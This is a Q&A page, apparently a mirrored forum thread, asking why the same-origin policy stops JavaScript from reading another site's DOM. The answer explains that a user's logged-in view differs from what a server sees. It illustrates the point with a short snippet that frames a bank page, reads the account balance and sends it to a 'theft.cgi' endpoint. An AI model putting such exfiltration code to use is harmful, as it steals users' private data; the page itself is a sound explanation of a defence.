Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • Home
  • SEARCH
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 8494701
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: June 10, 20262026-06-10T23:22:17+00:00 2026-06-10T23:22:17+00:00

I wanted to scrape pages client-side not server-side. However the same-origin policy prevents me

  • 0

I wanted to scrape pages client-side not server-side. However the same-origin policy prevents me from doing this.

What I’m trying to understand is why I don’t have read only access to the DOM of another site.

What security risk does this pose to the site, if I can get the same information by pulling the page onto the server and accessing it any ways.

I simply want to pull basic information from a page like:

document.title

If I can do this serve side, why not client side? The main difference being the extra round-trip that I don’t want to pay for?

Obviously user’s data should not be accessible, and this is obvious and I don’t need information on this. But in the same way I can pull in a generic version of a page using

file_get_contents

and parse the DOM, I would like to do client – side.

What is the technical limitation not allowing JavaScript to determine the difference between…giving access to user defined data vs. generic page data?

PHP can do it.

Why can’t JavaScript?

What it the limitation?

I don’t want to necessarily circumvent it or hack it, but understand the purposed better and maybe find that it does not apply to the case I have…page scrapes client side

Related

Ways to circumvent the same-origin policy

Same origin policy

How are bookmarklets( javascript in a link ) verfied by servers? How is security kept?

http://en.wikipedia.org/wiki/Representational_state_transfer#Central_principle

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-06-10T23:22:18+00:00Added an answer on June 10, 2026 at 11:22 pm

    why I don’t have read only access to the DOM of another site

    The data that your user can access on any given site may not be the same as the data you can access on that site.

    Since users might be identified by all sorts of things, including IP address, there is no way for the browser to sanitize the data of all personal information.

    Overly simplistic illustration:

    <iframe src="your bank" id="frame"></iframe>
    <script>
        var bank = document.getElementById('frame').contentDocument;
        var stolen = bank.getElementById('account_balance').innerText;
        ajax('theft.cgi', stolen);
    
    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

Wanted to know, because side effect of this could be to alert user that
Wanted to know if I could do this without the sub-query SELECT * FROM
Wanted to know if there was a way one could query shelveset details from
just wanted to ask where I define initial class properties? From other languages I
I wanted to use 6 different textures on a cube, one per side, but
I wanted to know that if I am doing correctly, regarding retain and release
I wanted to know which is faster from the following scenario: Three tables A,
Wanted to share a way I found to remove strong name from assembly name.
I have a question! I'm not sure if this is possible, but... I have
Wanted to use the same URL for a GET/PUT/DELETE/POST for a REST based API,

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.